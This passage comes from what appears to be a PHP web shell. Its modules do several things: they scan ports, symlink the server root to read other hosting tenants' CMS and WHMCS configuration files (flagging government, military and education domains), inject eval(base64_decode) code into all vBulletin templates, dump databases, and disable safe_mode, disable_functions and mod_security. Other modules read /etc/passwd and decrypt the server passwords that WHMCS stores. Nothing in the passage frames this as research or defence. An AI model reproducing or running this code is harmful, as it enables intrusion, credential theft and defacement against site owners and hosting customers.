2297function sws_net_info($site)
2298{
2299$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
2300$ip = @findit($getip,'<pre>','</pre>');
2301
2302return $ip;
2303flush();
2304}
2305
2306function sws_site_ser($site)
2307{
2308$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
2309$ip = @findit($getip,'<pre>','</pre>');
2310
2311return $ip;
2312flush();
2313}
2314
2315function sws_sup_dom($site)
2316{
2317$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
2318$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
2319
2320return $ip;
2321flush();
2322}
2323
2324function sws_port_scan($ip)
2325{
2326
2327$list_post = array('80','21','22','2082','25','53','110','443','143');
2328
2329foreach ($list_post as $o_port)
2330{
2331$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
2332
2333 if($connect)
2334 {
2335 echo " $ip : $o_port <u style=\"color: #009900\">Open</u> <br /><br />";
2336 flush();
2337 }
2338}
2339
2340}
2341
2342function findit($mytext,$starttag,$endtag) {
2343 $posLeft = @stripos($mytext,$starttag)+strlen($starttag);
2344 $posRight = @stripos($mytext,$endtag,$posLeft+1);
2345 return @substr($mytext,$posLeft,$posRight-$posLeft);
2346 flush();
2347}
2348
2349echo '<br><br><center>';
2350
2351
2352echo '
2353<br />
2354<div class="sc"><form method="post">
2355Site to scan : <input type="text" name="site" size="30" style="color:#FF0000;background-color:#000000" value="site.com" />   <input type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan !" />
2356</form></div>';
2357
2358
2359if(isset($_POST['scan']))
2360{
2361
2362
2363
2364
2365$site = @htmlentities($_POST['site']);
2366 if (empty($site)){die('<br /><br /> Not add IP .. !');}
2367
2368$ip_port = @gethostbyname($site);
2369
2370echo "
2371
2372
2373
2374
2375
2376<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
2377
2378<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
2379<div class=\"ru\"> <br /><br /><pre>
2380";
2381echo "".sws_port_scan($ip_port)." </pre></div> ";
2382
2383flush();
2384
2385
2386
2387echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
2388<div class=\"ru\">
2389<pre>".sws_domain_info($site)."</pre></div>";
2390flush();
2391
2392echo "
2393<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
2394<div class=\"ru\">
2395<pre>".sws_net_info($site)."</pre> </div>";
2396flush();
2397
2398echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
2399<div class=\"ru\">
2400<pre>".sws_sup_dom($site)."</pre> </div>";
2401flush();
2402
2403
2404echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
2405<div class=\"ru\">
2406<pre>".sws_site_ser($site)."</pre> </div>
2407<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
2408flush();
2409
2410
2411
2412
2413
2414}
2415
2416echo '</center>';
2417}
2418
2419elseif(isset($_GET['x']) && ($_GET['x'] == 'identify'))
2420{
2421?>
2422<form action="?y=<?php echo $pwd; ?>&x=identify" method="post">
2423
2424<?php
2425
2426echo "<center><br><br>
2427<font style=\"color:#FF0000\">This function is used to identify some CMS on all website in this server</font><br>
2428<font style=\"color:#FF0000\">may take very long time and this shell gonna lag, if you want to continue, press \"Check Now\" button</font><br><br>
2429<form type=post>
2430<input type='submit' style=\"color:#FF0000\" value='Check Now' name='checkingstart'>
2431</form></center>";
2432
2433if (isset($_POST['checkingstart'])) {
2434
2435echo "<center>";
2436
2437$WebUrl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2438$Explode=explode('/',$WebUrl );
2439$WebUrl =str_replace($Explode[count($Explode)-1],'',$WebUrl );
2440
2441
2442@mkdir('sym',0777);
2443$htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2444$write =@fopen ('sym/.htaccess','w');
2445fwrite($write ,$htaccess);
2446@symlink('/','sym/root');
2447$filelocation = basename('__hex__');
2448
2449$read_named_conf = @file('/etc/named.conf');
2450if(!$read_named_conf)
2451{
2452die (" can't read /etc/named.conf,Please use <a href='?vvip=sytc'>/etc Symlink</a>");
2453}
2454$new12 = explode (', ', $dis_func);
2455if (in_array('posix_getpwuid', $new12)){die('<center><b># posix_getpwuid is Not Supported</b></center>');}
2456else
2457{
2458echo "<div class='tmp'>
2459<table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td> Domains </td><td> Script </td>";
2460foreach($read_named_conf as $subject){
2461if(eregi('zone',$subject)){
2462preg_match_all('#zone "(.*)"#',$subject,$string);
2463flush();
2464if(strlen(trim($string[1][0])) >2){
2465$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
2466$Wordpress=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/wp-config.php';
2467$wp=get_headers($Wordpress);
2468$haystackwp=$wp[0];
2469$Wordpress2=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/blog/wp-config.php';
2470$wp2=get_headers($Wordpress2);
2471$haystackwp2=$wp2[0];
2472$Joomla=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/configuration.php';
2473$jmla=get_headers($Joomla);
2474$haystackjmla=$jmla[0];
2475$Joomla2=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/joomla/configuration.php';
2476$jmla2=get_headers($Joomla2);
2477$haystackjmla2=$jmla2[0];
2478$Vbulletin=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/includes/config.php';
2479$vb=get_headers($Vbulletin);
2480$haystackvb=$vb[0];
2481$Vbulletin3=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/vb/includes/config.php';
2482$vb3=get_headers($Vbulletin3);
2483$haystackvb2=$vb3[0];
2484$Vbulletin5=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/forum/includes/config.php';
2485$vb5=get_headers($Vbulletin5);
2486$haystackvb5=$vb5[0];
2487$whmcs1=$WebUrl.'/sym/root/home/'.$UID['name'].'public_html/clients/configuration.php';
2488$whm=get_headers($whmcs1);
2489$haystackwhm=$whm[0];
2490$whmcs1=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/support/configuration.php';
2491$whm=get_headers($whmcs1);
2492$haystackwhm=$whm[0];
2493$whmcs2=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/client/configuration.php';
2494$whm2=get_headers($whmcs2);
2495$haystackwhm2=$whm2[0];
2496$whmcs3=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/submitticket.php';
2497$whm3=get_headers($whmcs3);
2498$haystackwhm3=$whm3[0];
2499$whmcs4=$WebUrl.'/sym/root/home/'.$UID['name'].'/public_html/client/configuration.php';
2500$whm4=get_headers($whmcs4);
2501$haystackwhm=$whm4[0];
2502$Websitez = strpos($haystackwp,'200');
2503$Websitez=' ';
2504if (strpos($haystackwp,'200') == true )
2505{
2506$Websitez="<a href='".$Wordpress."' target='_blank'>Wordpress</a>";
2507}
2508elseif (strpos($haystackwp2,'200') == true)
2509{
2510$Websitez="<a href='".$Wordpress2."' target='_blank'>Wordpress</a>";
2511}
2512elseif (strpos($haystackjmla,'200') == true and strpos($haystackwhm3,'200') == true )
2513{
2514$Websitez=" <a href='".$whmcs3."' target='_blank'>WHMCS</a>";
2515}
2516elseif (strpos($haystackwhm,'200') == true)
2517{
2518$Websitez =" <a href='".$whmcs1."' target='_blank'>WHMCS</a>";
2519}
2520elseif (strpos($haystackwhm2,'200') == true)
2521{
2522$Websitez =" <a href='".$whmcs2."' target='_blank'>WHMCS</a>";
2523}
2524elseif (strpos($haystackjmla,'200') == true)
2525{
2526$Websitez=" <a href='".$Joomla."' target='_blank'>Joomla</a>";
2527}
2528elseif (strpos($haystackjmla2,'200') == true)
2529{
2530$Websitez=" <a href='".$Joomla2."' target='_blank'>Joomla</a>";
2531}
2532elseif (strpos($haystackvb,'200') == true)
2533{
2534$Websitez=" <a href='".$Vbulletin."' target='_blank'>vBulletin</a>";
2535}
2536elseif (strpos($haystackvb2,'200') == true)
2537{
2538$Websitez=" <a href='".$Vbulletin3."' target='_blank'>vBulletin</a>";
2539}
2540elseif (strpos($Vbulletin4,'200') == true)
2541{
2542$Websitez=" <a href='".$Vbulletin5."' target='_blank'>vBulletin</a>";
2543}
2544else
2545{
2546continue;
2547}
2548$name = $UID['name'] ;
2549echo '<tr><td><a href=http://www.'.$string[1][0].'/>'.$string[1][0].'</a></td>
2550<td>'.$Websitez.'</td></tr></center>';
2551flush();
2552}
2553}
2554}
2555}
2556}
2557}
2558
2559elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
2560{
2561?>
2562<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
2563
2564<br><br><br><div align="center">
2565<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
2566<font color="#00FF00"> vB Index Changer</font><font color="#FF0000">
2567<font face="Tahoma">! Change All Pages For Forum !
2568<br></font></div><br>
2569
2570<?
2571
2572if(empty($_POST['index'])){
2573echo "<center><FORM method=\"POST\">
2574host : <INPUT size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\">
2575database : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"database\" type=\"text\"><br>
2576username : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"username\" type=\"text\">
2577password : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"vb\" name=\"password\" type=\"text\"><br>
2578<br>
2579<textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea><br>
2580<INPUT value=\"Set\" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
2581</FORM></center>";
2582}else{
2583$localhost = $_POST['localhost'];
2584$database = $_POST['database'];
2585$username = $_POST['username'];
2586$password = $_POST['password'];
2587$index = $_POST['index'];
2588@mysql_connect($localhost,$username,$password) or die(mysql_error());
2589@mysql_select_db($database) or die(mysql_error());
2590
2591$index=str_replace("\'","'",$index);
2592
2593$set_index = "{\${eval(base64_decode(\'";
2594
2595$set_index .= base64_encode("echo \"$index\";");
2596
2597
2598$set_index .= "\'))}}{\${exit()}}</textarea>";
2599
2600echo("UPDATE template SET template ='".$set_index."' ") ;
2601$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
2602
2603if($ok){
2604echo "!! update finish !!<br><br>";
2605}
2606
2607}
2608# Footer
2609}
2610
2611
2612elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
2613{
2614?>
2615<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
2616
2617<?php
2618
2619@set_time_limit(0);
2620
2621echo "<center>";
2622
2623@mkdir('sym',0777);
2624$htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2625$write =@fopen ('sym/.htaccess','w');
2626fwrite($write ,$htaccess);
2627@symlink('/','sym/root');
2628$filelocation = basename('__hex__');
2629$read_named_conf = @file('/etc/named.conf');
2630if(!$read_named_conf)
2631{
2632echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
2633}
2634else
2635{
2636echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
2637foreach($read_named_conf as $subject){
2638if(eregi('zone',$subject)){
2639preg_match_all('#zone "(.*)"#',$subject,$string);
2640flush();
2641if(strlen(trim($string[1][0])) >2){
2642$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
2643$name = $UID['name'] ;
2644@symlink('/','sym/root');
2645$name = $string[1][0];
2646$iran = '\.ir';
2647$israel = '\.il';
2648$indo = '\.id';
2649$sg12 = '\.sg';
2650$edu = '\.edu';
2651$gov = '\.gov';
2652$gose = '\.go';
2653$gober = '\.gob';
2654$mil1 = '\.mil';
2655$mil2 = '\.mi';
2656if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
2657or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
2658{
2659$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
2660}
2661echo "
2662<tr>
2663
2664<td>
2665<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
2666</td>
2667
2668<td>
2669'.$UID['name']."
2670</td>
2671
2672<td>
2673<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
2674</td>
2675
2676</tr></div> ";
2677flush();
2678}
2679}
2680}
2681}
2682
2683echo "</center></table>";
2684
2685}
2686
2687elseif(isset($_GET['x']) && ($_GET['x'] == 'mysqlbackup'))
2688{
2689?>
2690<form action="?y=<?php echo $pwd; ?>&x=mysqlbackup" method="post">
2691
2692<?php
2693
2694echo '<center><br><br><br>
2695<table border=1 width=400 style="border-collapse: collapse" cellpadding=2>
2696<tr>
2697<td width=400 colspan=2 style=\'color:#FF0000;background-color:#000000\'><p align=center>
2698<b><font face=Arial size=2 style=\'color:#FF0000;background-color:#000000\'>Backup Database</font></b>
2699</td></tr>
2700<tr>
2701<td width=150 style=\'color:#FF0000;background-color:#000000\'>
2702<font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>DB Type:</font></td>
2703<td width=250 style=\'color:#FF0000;background-color:#000000\'>
2704<form method=post action="'.$me.'">
2705<select style=\'color:#FF0000;background-color:#000000\' name=method>
2706<option value="gzip">Gzip</option>
2707<option value="sql">Sql</option>
2708</select></td></tr>
2709<tr>
2710<td width=150 style=\'color:#FF0000;background-color:#000000\'>
2711<font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Server:</font>
2712</td>
2713<td width=250 style=\'color:#FF0000;background-color:#000000\'>
2714<input type=text name=server style=\'color:#FF0000;background-color:#000000\' value=localhost size=35>
2715</td></tr>
2716<tr>
2717<td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Username:</font></td>
2718<td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=username size=35></td>
2719</tr>
2720<tr>
2721<td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Password:</font></td>
2722<td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=password></td>
2723</tr>
2724<tr>
2725<td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Data Base Name:</font></td>
2726<td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=dbname></td>
2727</tr>
2728<tr>
2729<td width=400 colspan=2 style=\'color:#FF0000;background-color:#000000\'><center><input style=\'color:#FF0000;background-color:#000000\' type=submit value=" Dump! " ></td>
2730</tr>
2731</table></form></center></table>';
2732if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
2733$date = date("Y-m-d");
2734$dbserver = $_POST['server'];
2735$dbuser = $_POST['username'];
2736$dbpass = $_POST['password'];
2737$dbname = $_POST['dbname'];
2738$file = "Dump-$dbname-$date";
2739$method = $_POST['method'];
2740if ($method=='sql'){
2741$file="Dump-$dbname-$date.sql";
2742$fp=fopen($file,"w");
2743}else{
2744$file="Dump-$dbname-$date.sql.gz";
2745$fp = gzopen($file,"w");
2746}
2747function write($data) {
2748global $fp;
2749if ($_POST['method']=='sql'){
2750fwrite($fp,$data);
2751}else{
2752gzwrite($fp, $data);
2753}}
2754
2755function filesize_n($path)
2756{
2757 $size = @filesize($path);
2758 if( $size < 0 ){
2759 ob_start();
2760 system('ls -al "'.$path.'" | awk \'BEGIN {FS=" "}{print $5}\'');
2761 $size = ob_get_clean();
2762 }
2763
2764 return $size;
2765}
2766function format_size($size) {
2767 $sizes = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
2768 if ($size == 0) { return('n/a'); } else {
2769 return (round($size/pow(1024, ($i = floor(log($size, 1024)))), $i > 1 ? 2 : 0) . $sizes[$i]); }
2770}
2771mysql_connect ($dbserver, $dbuser, $dbpass);
2772mysql_select_db($dbname);
2773$tables = mysql_query ("SHOW TABLES");
2774while ($i = mysql_fetch_array($tables)) {
2775 $i = $i['Tables_in_'.$dbname];
2776 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
2777 write($create['Create Table'].";\n\n");
2778 $sql = mysql_query ("SELECT * FROM ".$i);
2779 if (mysql_num_rows($sql)) {
2780 while ($row = mysql_fetch_row($sql)) {
2781 foreach ($row as $j => $k) {
2782 $row[$j] = "'".mysql_escape_string($k)."'";
2783 }
2784 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
2785 }
2786 }
2787}
2788if ($method=='sql'){
2789fclose ($fp);
2790}else{
2791gzclose($fp);}
2792$sizedatabasefile = filesize_n($file);
2793$sizehumanreadable = format_size($sizedatabasefile);
2794echo "<br><br>
2795<center><font color='#FF0000'>Download Database -> </font>
2796<a href='$file'>Here</a>
2797<font color='#FF0000'> | DatabaseFileSize -> $sizehumanreadable </font></center>";
2798flush();
2799}
2800}
2801
2802elseif(isset($_GET['x']) && ($_GET['x'] == 'security-mode'))
2803{
2804?>
2805<form action="?y=<?php echo $pwd; ?>&x=security-mode" method="post">
2806
2807<?php
2808
2809echo "<html>
2810<center><br><br><br>
2811<font color=#FF0000 > Disable SafeMode and Clear Disable Function using php.ini </font><br>
2812<form method='POST' >
2813<font color=#FF0000 > Path to Disable : </font><input type='text' name='phpinisafemode' value='$pwd' style='color:#FF0000;background-color:#000000' /><br>
2814<input type='submit' name='dsmsubmit' style='color:#FF0000;background-color:#000000' value='Create PHP.INI' />
2815</form>
2816<br><br>
2817<font color=#FF0000 > Disable SafeMode and Clear Disable Function using Htaccess </font><br>
2818<form method='POST' >
2819<font color=#FF0000 > Path to Disable : </font><input type='text' name='htaccesssafemode' style='color:#FF0000;background-color:#000000' value='$pwd' /><br>
2820<input type='submit' name='omssubmit' style='color:#FF0000;background-color:#000000' value='Create .HTACCESS' />
2821</form>";
2822
2823$dirphpini = $_POST['phpinisafemode'];
2824$dirhtaccess = $_POST['htaccesssafemode'];
2825$phpininamelol = "php.ini";
2826
2827if($_POST['omssubmit'])
2828{
2829 $fse=fopen("$dirphpini.htaccess","w");
2830 fwrite($fse,'<IfModule mod_security.c>
2831 Sec------Engine Off
2832 Sec------ScanPOST Off
2833</IfModule>');
2834 fclose($fse);
2835}
2836
2837else if ($_POST['dsmsubmit'])
2838{
2839 $fse=fopen("$dirhtaccess$phpininamelol","w");
2840 fwrite($fse,'safe_mode=OFF
2841disable_functions=NONE');
2842 fclose($fse);
2843}
2844}
2845
2846elseif(isset($_GET['x']) && ($_GET['x'] == 'process'))
2847{
2848?>
2849<form action="?y=<?php echo $pwd; ?>&x=process" method="post">
2850
2851<?php
2852
2853function processc99() {
2854 if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
2855 else {$handler = "tasklist";}
2856 $ret = myshellexec($handler);
2857 if (!$ret) {echo "Can't execute \"".$handler."\"!";}
2858 else
2859 {
2860 if (empty($processes_sort)) {$processes_sort = $sort_default;}
2861 $parsesort = parsesort($processes_sort);
2862 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2863 $k = $parsesort[0];
2864 $ret = htmlspecialchars($ret);
2865 if (!$win)
2866 {
2867 if ($pid)
2868 {
2869 if (is_null($sig)) {$sig = 9;}
2870 echo "Sending signal ".$sig." to #".$pid."... ";
2871 if (posix_kill($pid,$sig)) {echo "OK.";}
2872 else {echo "ERROR.";}
2873 }
2874 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2875 $stack = explode("\n",$ret);
2876 $head = explode(" ",$stack[0]);
2877 unset($stack[0]);
2878 $prcs = array();
2879 foreach ($stack as $line)
2880 {
2881 if (!empty($line))
2882{
2883 echo "<tr>";
2884 $line = explode(" ",$line);
2885 $line[10] = join(" ",array_slice($line,10));
2886 $line = array_slice($line,0,11);
2887 $prcs[] = $line;
2888 echo "</tr>";
2889 }
2890 }
2891 }
2892 else
2893 {
2894 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2895 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2896 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2897 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2898 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2899 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2900 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2901 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2902 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2903 while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
2904 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2905 $ret = convert_cyr_string($ret,"d","w");
2906 $stack = explode("\n",$ret);
2907 unset($stack[0],$stack[2]);
2908 $stack = array_values($stack);
2909 $head = explode("",$stack[0]);
2910 $head[1] = explode(" ",$head[1]);
2911 $head[1] = $head[1][0];
2912 $stack = array_slice($stack,1);
2913 unset($head[2]);
2914 $head = array_values($head);
2915 if ($k > count($head)) {$k = count($head)-1;}
2916 $prcs = array();
2917 foreach ($stack as $line)
2918 {
2919 if (!empty($line))
2920 {
2921 echo "<tr>";
2922 $line = explode("",$line);
2923 $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
2924 $line[2] = intval(str_replace(" ","",$line[2]))*1024;
2925 $prcs[] = $line;
2926 echo "</tr>";
2927 }
2928 }
2929 }
2930 $head[$k] = "<b>".$head[$k]."</b>".$y;
2931 $v = $processes_sort[0];
2932 if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
2933 $tab = array();
2934 $tab[] = $head;
2935 $tab = array_merge($tab,$prcs);
2936 echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
2937 foreach($tab as $i=>$k)
2938 {
2939 echo "<tr>";
2940 foreach($k as $j=>$v) {
2941 if ($win and $i > 0 and $j == 2) {
2942 $v = view_size($v);
2943 }
2944
2945 echo "<td>".$v."</td>";}
2946 echo "</tr>";
2947 }
2948 echo "</table>";
2949 }
2950}
2951
2952echo "<center><br><br>";
2953 if($win) {
2954 echo "<form method='post'>
2955 <select style='color:#FF0000;background-color:#000000' name='windowsprocess'>
2956 <option name='systeminfo'>System Info</option>
2957 <option name='active'>Active Connections</option>
2958 <option name='runningserv'>Running Services</option>
2959 <option name='useracc'>User Accounts</option>
2960 <option name='showcom'>Show Computers</option>
2961 <option name='arptab'>ARP Table</option>
2962 <option name='ipconf'>IP Configuration</option>
2963 </select>
2964 <input type='submit' style='color:#FF0000;background-color:#000000' name='submitwinprocess' value='View'>
2965 </form>
2966 ";
2967 } else {
2968 echo "<form method='post'>
2969 <select style='color:#FF0000;background-color:#000000' name='nonwindowsprocess'>
2970 <option name='processsta'>Process status</option>
2971 <option name='syslog'>Syslog</option>
2972 <option name='resolv'>Resolv</option>
2973 <option name='hosts'>Hosts</option>
2974 <option name='passwd'>Passwd</option>
2975 <option name='cpuinfo'>Cpuinfo</option>
2976 <option name='version'>Version</option>
2977 <option name='sbin'>Sbin</option>
2978 <option name='interrupts'>Interrupts</option>
2979 <option name='lsattr'>lsattr</option>
2980 <option name='uptime'>Uptime</option>
2981 <option name='fstab'>Fstab</option>
2982 <option name='hddspace'>HDD Space</option>
2983 </select>
2984 <input type='submit' style='color:#FF0000;background-color:#000000' name='submitnonwinprocess' value='View'>
2985 </form>
2986 ";
2987 }
2988
2989 $windowsprocess = $_POST['windowsprocess'];
2990 $nonwindowsprocess = $_POST['nonwindowsprocess'];
2991
2992 if ($windowsprocess=="System Info") $winruncom = "systeminfo";
2993 if ($windowsprocess=="Active Connections") $winruncom = "netstat -an";
2994 if ($windowsprocess=="Running Services") $winruncom = "net start";
2995 if ($windowsprocess=="User Accounts") $winruncom = "net user";
2996 if ($windowsprocess=="Show Computers") $winruncom = "net view";
2997 if ($windowsprocess=="ARP Table") $winruncom = "arp -a";
2998 if ($windowsprocess=="IP Configuration") $winruncom = "ipconfig /all";
2999 if ($nonwindowsprocess=="Process status") $systeminfo = "ps aux";
3000 if ($nonwindowsprocess=="Syslog") $winruncom = "cat /etc/syslog.conf";
3001 if ($nonwindowsprocess=="Resolv") $winruncom = "cat /etc/resolv.conf";
3002 if ($nonwindowsprocess=="Hosts") $winruncom = "cat /etc/hosts";
3003 if ($nonwindowsprocess=="Passwd") $winruncom = "cat /etc/passwd";
3004 if ($nonwindowsprocess=="Cpuinfo") $winruncom = "cat /proc/cpuinfo";
3005 if ($nonwindowsprocess=="Version") $winruncom = "cat /proc/version";
3006 if ($nonwindowsprocess=="Sbin") $winruncom = "ls -al /usr/sbin";
3007 if ($nonwindowsprocess=="Interrupts") $winruncom = "cat /proc/interrupts";
3008 if ($nonwindowsprocess=="lsattr") $winruncom = "lsattr -va";
3009 if ($nonwindowsprocess=="Uptime") $winruncom = "uptime";
3010 if ($nonwindowsprocess=="Fstab") $winruncom = "cat /etc/fstab";
3011 if ($nonwindowsprocess=="HDD Space") $winruncom = "df -h";
3012
3013
3014 if (isset($winruncom)) {
3015 echo "<table class='cmdbox'>
3016 <tbody><tr>
3017 <td colspan='2'>
3018 <textarea class='output' name='content'>".exe($winruncom)."</textarea>
3019 </td></tr></table></center>";
3020 }
3021
3022 if (isset($systeminfo)) {
3023 echo "<br><br>";
3024 processc99();
3025 }
3026
3027}
3028
3029elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
3030{
3031?>
3032<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
3033
3034<?php
3035
3036function decrypt ($string,$cc_encryption_hash)
3037{
3038 $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
3039 $hash_key = _hash ($key);
3040 $hash_length = strlen ($hash_key);
3041 $string = base64_decode ($string);
3042 $tmp_iv = substr ($string, 0, $hash_length);
3043 $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
3044 $iv = $out = '';
3045 $c = 0;
3046 while ($c < $hash_length)
3047 {
3048 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
3049 ++$c;
3050 }
3051 $key = $iv;
3052 $c = 0;
3053 while ($c < strlen ($string))
3054 {
3055 if (($c != 0 AND $c % $hash_length == 0))
3056 {
3057 $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
3058 }
3059 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
3060 ++$c;
3061 }
3062 return $out;
3063}
3064
3065function _hash ($string)
3066{
3067 if (function_exists ('sha1'))
3068 {
3069 $hash = sha1 ($string);
3070 }
3071 else
3072 {
3073 $hash = md5 ($string);
3074 }
3075 $out = '';
3076 $c = 0;
3077 while ($c < strlen ($hash))
3078 {
3079 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
3080 $c += 2;
3081 }
3082 return $out;
3083}
3084
3085echo "<hr>
3086<br>
3087<center>
3088<br>
3089
3090<FORM action='' method='post'>
3091<input type='hidden' name='form_action' value='2'>
3092<br>
3093<table border=1>
3094<tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_host' value='localhost'></td></tr>
3095<tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_username' value=''></td></tr>
3096<tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_password' value=''></td></tr>
3097<tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_name' value=''></td></tr>
3098<tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:#000000' type='text' size='30' name='cc_encryption_hash' value=''></td></tr>
3099</table>
3100<br>
3101<INPUT class=submit type='submit' style='color:#FF0000;background-color:#000000' value='Submit' name='Submit'>
3102</FORM>
3103</center>
3104<hr>";
3105
3106 if($_POST['form_action'] == 2 )
3107 {
3108 //include($file);
3109 $db_host=($_POST['db_host']);
3110 $db_username=($_POST['db_username']);
3111 $db_password=($_POST['db_password']);
3112 $db_name=($_POST['db_name']);
3113 $cc_encryption_hash=($_POST['cc_encryption_hash']);
3114
3115
3116
3117 $link=mysql_connect($db_host,$db_username,$db_password) ;
3118 mysql_select_db($db_name,$link) ;
3119$query = mysql_query("SELECT * FROM tblservers");
3120while($v = mysql_fetch_array($query)) {
3121$ipaddress = $v['ipaddress'];
3122$username = $v['username'];
3123$type = $v['type'];
3124$active = $v['active'];
3125$hostname = $v['hostname'];
3126echo("<center><table border='1'>");
3127$password = decrypt ($v['password'], $cc_encryption_hash);
3128echo("<tr><td>Type</td><td>$type</td></tr>");
3129echo("<tr><td>Active</td><td>$active</td></tr>");
3130echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
